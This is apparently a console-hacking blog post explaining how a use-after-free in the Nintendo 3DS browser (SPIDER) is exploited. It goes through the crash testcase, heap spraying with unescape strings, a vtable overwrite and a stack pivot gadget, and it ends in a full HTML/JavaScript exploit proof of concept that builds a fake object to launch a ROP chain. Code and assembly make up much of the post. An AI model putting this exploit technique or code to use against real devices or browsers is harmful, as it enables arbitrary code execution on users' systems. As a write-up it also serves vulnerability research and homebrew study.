Intro

Here it is, the first vulnerability I exploited which affects SPIDER (O3DS). In this post I will go through the process of identifying the vulnerability and getting a rop-chain execution.

I might post later about how to get real code execution, but since it’s all about abusing GPU’s DMA and it’s used by all userland exploits I’m sure you can figure it all by yourself.

The crash PoC

Looking at the several webkit testcases that crashed SPIDER, I found this pretty interesting one:

<head>
<script>
function runTest()
{
    var validity = document.getElementById("control").validity;
    document.body.removeChild(document.getElementById("control"));
    validity.valueMissing;
    document.getElementById("result").firstChild.data = "Test has run: If no assertion or crash occurred, it passed.";
}
</script>
</head>

<body onload="runTest()">
<select id="control"></select>
</body>

You might wonder why this specific test is so interesting… well… among all the nullptr and weird complicated bugs that showed up this one was simple enough to directly understand what was wrong.

Let’s take a look at this, the bug clearly occurs when executing validity.valueMissing. It seems it’s trying to access something from the variable validity which comes from a node deleted just before the bug occurs… clearly a Use-after-Free!

The bug actually occurs because valueMissing is an interface for the valueMissing function of the control element - which get freed when deleting the node. After deleting the node, the ValidityState object associated to the validity variable is still allocated and holds a pointer to the freed control object, thus leading to a Use-after-Free.
For more details about this bug you might want to read the patch changelog.

Spraying the Heap

Now that we have a basic understanding of what is going on, we need to re-allocate and write over the memory associated to the freed control element. Our goal is to overwrite the valueMissing field to get and arbitrary jump.

Heap spraying is a common method used for browsers exploitation, we are going to allocate a bunch of javascript objects and hope the freed memory will be re-allocated for our new objects. To allocate and write arbitrary data on the heap, one can use the unescape function to allocate some simple strings.

Let’s try to spray the heap then with this simple example:

<head>
<script>
function gc()
{
  if (window.GCController)
    return GCController.collect();

  for (var i = 0; i < 10000; i++)
  { // > force garbage collection (FF requires about 9K allocations before a collect)
    var s = new String("abc");
  }
}

obj = new Array();
function spray()
{
  for(var i = 0; i < 1200; i++)
  {
    obj[i] = unescape("\u4141\u4141");
  }
}

function boom()
{
  var v = document.getElementById("control").validity;
  document.body.removeChild(document.getElementById("control"));
  gc();
  spray();
  v.valueMissing;
}
</script>
</head>

<body onload="boom()">
<select id="control"></select>
</body>

First, we force the removed element to be garbage collected so we can re-allocate its memory, then we allocate a bunch of \u4141\u4141 strings and hope to overwrite what we want… well it won’t work.

The heap is divided into buckets and each bucket has its own block size, so when you allocate on the heap your newly allocated object will be stored in the most appropriate bucket - based on the size you are allocating.
So if we want to successfully overwrite the control element’s memory we have to allocate a string whose length is close enough to that of the freed object.

I was clearly too lazy to find the exact size of the element so I tried a couple of different sizes and finally found that allocating 192 bytes made the browser crash with r0=0x41414141 :)

Getting an arbitrary jump

So now it is time to gain control of the execution flow. We already know that calling v.valueMissing trigger a virtual method call in the overwritten object, since we control that object we can easily replace the pointer to its vtable.

Let’s take a look at the related assembly code:

...
ldr r1, [r0]        => here r0 = ptr to the overwritten object so r1 <- object vtable
add r1, r1, #0x284  => just adding the offset of valueMissing in the vtable
ldr r1, [r1]        => r1 <- [vtable+0x284] = valueMissing ptr
blx r1              => call valueMissing
...

This is great because when branching r0 still points to the overwritten object and we might be able to load values from there later. We can get an arbitrary just fairly easily since we can just overwrite the vtable pointer but we still have to find a way to stack pivot from there.

Stack pivoting

So, I searched for some gadgets and functions in the SPIDER binaries in the hope to find something useful to gain control of sp. Fortunately I found the magic_func, trust me it is really magic, let’s take a look at it:

magic_func:
  mov r1, #0x1A0
  add r0, r0, #0x58
  bl  magic_pivot

...

magic_pivot:
  add     r8, r0, #0x2c
  mov     r4, r1
  vldmia  r8!, {d8-d10}
  vldmia  r8!, {d11}
  vldmia  r8!, {d12-d14}
  vldmia  r8!, {d15}
  add     r8, r0, #0x2c
  ldr     r0, [r8, #-4]!
  nop
  ldr     r0, [r8, #-4]!
  mov     sp, r0
  movs    r0, r4
  ldmdb   r8!, {r4-r7}
  moveq   r0, #1
  ldmdb   r8, {r8-r11, lr}
  bx lr

With this function, one is able to load arbitrary values in sp and lr from the address pointed by r0 :). Thus we know where to jump but still need to setup the fake vtable, do we? Hum let’s search for the address of magic_func in the binary before… well there is a pointer to this function in the .rodata section :D - let’s call this location MAGIC_FUNC_PTR.

Here is the strategy:

  • overwrite the vtable pointer and replace it with MAGIC_FUNC_PTR-0x284;
  • set the appropriate fields of the overwritten object so they will be loaded in sp and lr;
  • call valueMissing to trigger the vulnerability.

Let’s simulate it on the associated assembly code:

...
ldr r1, [r0]        => here r0 = ptr to the overwritten object so r1 <- MAGIC_FUNC_PTR-0x284
add r1, r1, #0x284  => r1 <- r1+0x284 = MAGIC_FUNC_PTR
ldr r1, [r1]        => r1 <- [MAGIC_FUNC_PTR] = address of magic_func
blx r1              => call magic_func :) with r0 = address of overwritten object
...

This way we directly gain control of the execution flow without spraying additional buffers.

Exploit PoC

Here is the final exploit PoC:

<head>
<script src="ropdb.js"></script>
<script src="rop_utils.js"></script>
<script src="ropchain.js"></script>

<script>
function make_obj()
{
  var res = "";
  res += u32_to_unicode(MAGIC_FUNC_PTR-0x284);
  // browser will do this func call: *(*(object) + 0x284)()
  // thus it will call MAGIC_FUNC => stack pivot + arb jump
  res += u32_to_unicode_repeat(0xDEADCAFE, 21);
  res += u32_to_unicode(0xDEADCAFE);              // R8
  res += u32_to_unicode(0xDEADCAFE);              // R9
  res += u32_to_unicode(0xDEADCAFE);              // R10
  res += u32_to_unicode(0xDEADCAFE);              // R11
  res += u32_to_unicode(NOP);                     // LR
  res += u32_to_unicode(0xDEADCAFE);              // R4
  res += u32_to_unicode(0xDEADCAFE);              // R5
  res += u32_to_unicode(0xDEADCAFE);              // R6
  res += u32_to_unicode(0xDEADCAFE);              // R7
  res += u32_to_unicode(SLED_STACK);              // SP
  res += u32_to_unicode_repeat(0xDEADCAFE, 16);	  // set obj size = 48*4
  return res;
}
obj_str = make_obj();
function boom()
{
  var v = document.getElementById("s_control").validity;
  document.body.removeChild(document.getElementById("s_control"));
  gc();
  spray(obj_str);
  ropsetup(ropchain);
  v.valueMissing;
}
</script>
</head>

<body onload="boom()">
<select id="s_control"></select>
</body>

The u32_to_unicode function just converts an integer to a unicode string for the unescape function, spray takes in parameter the string to be allocated - the fake object - and ropsetup writes the rop-chain but this part will be detailed in another post.

Conclusion

Exploiting this vulnerability was quite easy since the bug was quite simple and only required a single jump to successfully gain control of the execution flow. The next post will be dedicated to the SKATER bug which is a bit harder to understand and exploit :)